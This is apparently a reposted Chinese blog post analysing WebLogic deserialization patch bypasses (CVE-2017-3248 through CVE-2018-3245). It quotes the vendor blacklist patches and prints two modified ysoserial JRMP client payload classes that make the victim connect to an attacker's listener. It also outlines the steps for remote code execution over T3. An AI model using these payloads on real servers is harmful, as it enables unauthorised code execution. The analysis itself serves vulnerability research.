1. 程式人生 > >weblogic之CVE-2017-3248,CVE-2018-2628,CVE-2018-2893,CVE-2018-3245反序列繞過分析

weblogic之CVE-2017-3248,CVE-2018-2628,CVE-2018-2893,CVE-2018-3245反序列繞過分析

關系 tail def nsa rem 獲取 cli ext 執行

說一下復現CVE-2017-3248可以參考p牛的環境,p牛的環境CVE-2018-2628實際就是CVE-2017-3248,他漏洞編號這塊寫錯了。
攻擊流程就如下圖,攻擊者開啟JRMPListener監聽在1099端口,等待受害者鏈接,當受害者鏈接時,把gadgets返回給客戶端:
技術分享圖片

CVE-2017-3248以後的漏洞都是利用了JRMP java遠程方法協議,利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,並使用UnicastRef和遠端建立tcp連接,獲取RMI registry,最終將加載的內容利用readObject()進行解析,導致之前序列化的惡意代碼執行。

具體利用的時候用ysoserial的payload,用到Proxy代理。
技術分享圖片
復現2017-3248就看p牛的github,這裏主要復現下CVE-2017-3248繞過。先看一下這漏洞的補丁,一般反序列操作防禦resolveProxyClass和resolveClass方法重寫,進行黑名單匹配。這裏也就是我們重點看的:

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
            String[] arr$ = interfaces;
            int len$ = interfaces.length;

            for(int i$ = 0; i$ < len$; ++i$) {
                String intf = arr$[i$];
                if (intf.equals("java.rmi.registry.Registry")) {
                    throw new InvalidObjectException("Unauthorized proxy deserialization");
                }
            }

            return super.resolveProxyClass(interfaces);

補丁只是在resolveProxyClass方法將java.rmi.registry.Registry加入黑名單,沒有將UnicastRef加入黑名單,所以出現以下倆種繞過:1、不使用代理機制就反序列化時就不會進入resolveProxyClass方法
2、找一個java.rmi.activation.Activator來替代java.rmi.registry.Registry生成payload

先看第一種的payload,在ysoserial攻擊修改如下代碼把Proxy去掉,重新打jar包,利用方式和CVE-2017-3248一樣,能夠繞過resolveProxyClass執行命令:
技術分享圖片
在看一下這塊的補丁,在resolveClass時就把UnicastRef類防住了。

    private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

跟入checkLegacyBlacklistIfNeeded函數
技術分享圖片
跟到這裏,看到如果反序列化的類是在黑名單中就拋出異常。
技術分享圖片
第二種繞過方式就是廖新喜的payload,可以使用java.rmi.activation.Activator來替代java.rmi.registry.Registry

public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {

    public Activator getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
            Activator.class
        }, obj);
        return proxy;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
        PayloadRunner.run(JRMPClient2.class, args);
    }
}

CVE-2018-2893的補丁將RemoteObjectInvocationHandler放入到了黑名單,而CVE-2018-2628的黑名單如下

CVE-2018-2628補丁
    private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
CVE-2018-2893的補丁
    private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler"};

執行的這裏會被黑名單攔截。
技術分享圖片
還有一種繞過方式就是CVE-2018-2893利用WebLogic 內部類 weblogic.jms.common.StreamMessageImpl 可被序列化並且在反序列化時可以調用RMI的類,可以繞過WebLogic 的黑名單限制。
payload如下,打好的jar包在這裏:

 public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Registry> {

        public Object streamMessageImpl(byte[] object) {
            StreamMessageImpl streamMessage = new StreamMessageImpl();
            streamMessage.setDataBuffer(object, object.length);
            return streamMessage;
        }

        public Object getObject (final String command ) throws Exception {
            String host;
            int port;
            int sep = command.indexOf(':');
            if (sep < 0) {
                port = new Random().nextInt(65535);
                host = command;
            }
            else {
                host = command.substring(0, sep);
                port = Integer.valueOf(command.substring(sep + 1));
            }
            ObjID objID = new ObjID(new Random().nextInt()); 
            TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
            UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
            RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
            Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
            return streamMessageImpl(Serializer.serialize(object));
        }


        public static void main ( final String[] args ) throws Exception {
            Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
            PayloadRunner.run(JRMPClient3.class, args);
        }
    }    

resolveClass處理到StreamMessageImpl時,
技術分享圖片
來到CVE-2016-0638的漏洞觸發點,其中859行加入了過濾代碼。當執行到865行時,跟進
技術分享圖片
java.rmi.server.RemoteObjectInvocationHandler被加入黑名單
技術分享圖片
CVE-2018-2893繞過參考https://xz.aliyun.com/t/2479#toc-2主要是繞過黑名單RemoteObjectInvocationHandler類,這個CVE編號就是:

CVE-2018-3245

RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler
最後說下怎麽找到的RMIConnectionImpl_Stub,實際上就是找RemoteObject類的子類。
CTRL+H找到這三個是RemoteObject的子類
技術分享圖片
RemoteStub找他的子類,最後找到RMIConnectionImpl_Stub類了
技術分享圖片
查看一下繼承關系,下面這樣的操作主要查找其父類比較方便。
技術分享圖片
技術分享圖片
所以 CVE-2018-3245的補丁就是將基類RemoteObject禁掉,而不是禁用其子類
payload參考:https://github.com/pyn3rd/CVE-2018-3245
gadgets經測試用Jdk7u21能夠RCE。
我測試沒有打CVE-2018-3245補丁,對RMIConnectionImpl_Stub沒有處理導致繞過
技術分享圖片
看下完整利用過程:
生產poc
技術分享圖片
開啟JRMP服務
技術分享圖片
通過T3協議寫入payload
技術分享圖片
受害服務器連接JRMP服務,攻擊者將Jdk7u21的gadgets發送給受害服務器,導致RCE。
技術分享圖片

參考鏈接:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
https://xz.aliyun.com/t/2479#toc-0
http://www.4hou.com/vulnerable/12874.html
https://paper.seebug.org/584/

weblogic之CVE-2017-3248,CVE-2018-2628,CVE-2018-2893,CVE-2018-3245反序列繞過分析